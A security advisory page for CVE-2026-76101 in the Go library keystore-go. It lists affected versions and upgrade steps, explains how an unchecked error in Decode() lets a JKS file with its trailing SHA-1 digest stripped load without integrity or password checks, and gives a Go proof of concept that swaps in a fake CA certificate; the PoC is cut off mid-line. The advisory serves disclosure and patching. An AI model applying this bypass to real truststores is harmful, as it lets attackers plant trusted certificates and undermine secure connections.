CVE-2026-76101: keystore-go: Keystore integrity and password verification bypass via stripped trailing digest in Decode()
High CVSS 7.1
- OSV id
- GHSA-j282-pjg5-j643
- Also known as
- CVE-2026-76101
- Published
- Last modified
Affected packages
| Package | Affected versions | Fixed in |
|---|---|---|
| github.com/pavel-v-chernykh/keystore-go Go |
<= 2.1.0 | after 2.1.0 |
| github.com/pavel-v-chernykh/keystore-go/v3 Go |
< 3.0.0 | 3.0.0 |
How to fix it
github.com/pavel-v-chernykh/keystore-go (Go)
No fix yet. No fixed version of github.com/pavel-v-chernykh/keystore-go has been released yet.
- Check the advisory and its references below for a workaround or a configuration change that turns off the affected feature.
- Limit exposure: don't pass untrusted input to the affected code path, and keep it off public endpoints if you can.
- Pin away from the affected versions if an older release is not affected, or consider replacing the package.
- Watch for the fix: a free AIssue account checks your lockfiles every day and emails you when a fixed version is released.
github.com/pavel-v-chernykh/keystore-go/v3 (Go)
Upgrade github.com/pavel-v-chernykh/keystore-go/v3 to 3.0.0 or later.
go get github.com/pavel-v-chernykh/keystore-go/v3@v3.0.0
go mod tidy
- Indirect Go modules are upgraded the same way (`go get module@version`).
- Check the changelog for breaking changes (especially across major versions), update the lockfile with the package manager, and run your tests.
Not sure whether your project uses an affected version? Check your lockfile below for free.
Details
Summary
keystore.Decode() fails to check the error returned when reading the trailing SHA-1 integrity digest of a JKS keystore. If an attacker removes the final 20 bytes from a .jks file, the digest read returns an empty slice and the byte-comparison loop never executes, so Decode() returns the parsed keystore with err == nil. This defeats both tamper detection and — for certificate-only truststores — the password check itself, allowing an attacker with write access to a keystore file (but without knowledge of the keystore password) to silently inject or replace trusted CA certificates.
Details
Affected versions: github.com/pavel-v-chernykh/keystore-go ≤ v2.1.0+incompatible (the final release on this module path). v3 and v4 releases are not impacted.
In decoder.go, function Decode, lines 264-272:
computedDigest := ksd.md.Sum(nil)
actualDigest, err := ksd.readBytes(uint32(ksd.md.Size()))
for i := 0; i < len(actualDigest); i++ {
if actualDigest[i] != computedDigest[i] {
return nil, ErrInvalidDigest
}
}
return keyStore, nil
Two defects combine here:
- The
errreturned byksd.readBytes(20)on line 265 is assigned but never inspected. - The comparison loop on line 266 is bounded by
len(actualDigest)rather thanlen(computedDigest).
readBytes (decoder.go lines 75-94) reads the requested bytes via io.ReadFull; on EOF/short read it returns (nil, ErrIo):
_, err := io.ReadFull(ksd.r, ksd.b[:blockSize])
if err != nil {
return result, ErrIo
}
When the trailing 20-byte digest is absent from the input stream, actualDigest is therefore nil, len(actualDigest) == 0, the for loop body never executes, and Decode() falls through to return keyStore, nil.
The JKS format's only integrity guarantee is this trailing SHA1(passwordBytes || "Mighty Aphrodite" || body) digest. For truststores containing only TrustedCertificateEntry values it is also the only place the password is verified. Consequently:
- An attacker who can modify a
.jkstruststore on disk — but does not know the keystore password — can replace or add trusted CA certificates, drop the last 20 bytes of the file, and the consuming Go process will load the forged truststore as valid. - After the digest is stripped,
Decode()accepts any password, so operators who believe the password gates integrity receive no error even when the wrong password is supplied.
The reference Java JavaKeyStore implementation reads the digest with DataInputStream.readFully and throws on short read; this Go port diverges from that behaviour.
PoC
go mod init poc
go get github.com/pavel-v-chernykh/keystore-go@v2.1.0+incompatible
go run .
```go package main
import ( "bytes" "fmt" "os"
keystore "github.com/pavel-v-chernykh/keystore-go"
)
func main() { originalCert := []byte("ORIGINAL-TRUSTED-CA-CERTIFICATE") evilCert := []byte("EVIL-ATTACKER-CA-CERTIFICATE!!!") // same length
ks := keystore.KeyStore{
"trusted-ca": &keystore.TrustedCertificateEntry{
Certificate: keystore.Certificate{
Type: "X509",
Content: originalCert,
},
},
}
var buf bytes.Buffer
if err := keystore.Encode(&buf, ks, []byte("correct-password")); err != nil {
panic(err)
}
legit := buf.Bytes()
fmt.Printf("[*] Legitimate keystore: %d bytes (last 20 = SHA-1 digest)\n", len(legit))
// Sanity: untampered keystore with WRONG password is rejected.
_, err := keystore.Decode(bytes.NewReader(legit), []byte("wrong-password"))
fmt.Printf("[*] Decode(legit, wrong-password) -> err=%v (expected ErrInvalidDigest)\n", err)
// Attacker: tamper with the certificate, then strip the 20-byte digest.
tampered := bytes.Replace(append([]byte(nil), legit...), originalCert, evilCert, 1)
tampered = tampered[:len(tampered)-20] // remove trailing SHA-1 digest entirely
// 1) Tampered keystore + CORRECT password: integrity check should fail.
out, err := keystore.Decode(bytes.NewReader(tampered), []byte("correct-password"))
if err == nil {
entry := out["trusted-ca"].(*keystore.TrustedCertificateEntry)
fmt.Printf("\n[BYPASS] Tampered keystore accepted with correct password.\n")
fmt.Printf(" Trusted cert content: %q\n", entry.Certificate.Content)
} else {
fmt.Printf("[ok] tampered keystore rejected: %v\n", err)
os.Exit(1)
}
// 2) Tampered keystore + WRONG password: should also fail.
out2, err2 := keystore.Decode(bytes.NewReader(tampered), []byte("attacker-does-not-know"))
if err2 == nil {
entry := out2["trusted-ca"].(*keystore.TrustedCertifi
References
- GHSA-j282-pjg5-j643 on OSV.dev
- Web: https://github.com/pavlo-v-chernykh/keystore-go/security/advisories/GHSA-j282-pjg5-j643
- Advisory: https://nvd.nist.gov/vuln/detail/CVE-2026-76101
- Web: https://github.com/pavlo-v-chernykh/keystore-go/commit/af93effd832cf1aef7794e69c31e1b668e17b851
- Package: https://github.com/pavlo-v-chernykh/keystore-go
- Web: https://github.com/pavlo-v-chernykh/keystore-go/releases/tag/v3.0.0
Am I affected?
Upload or paste your lockfile. We check every package version in it against OSV.dev, this advisory included, and email you the vulnerable ones with the version that fixes them. Free, and no account needed.
About this data
Source: GitHub Advisory Database via OSV.dev (CC-BY 4.0). Severity comes from the advisory's own rating when it has one, else from its CVSS score.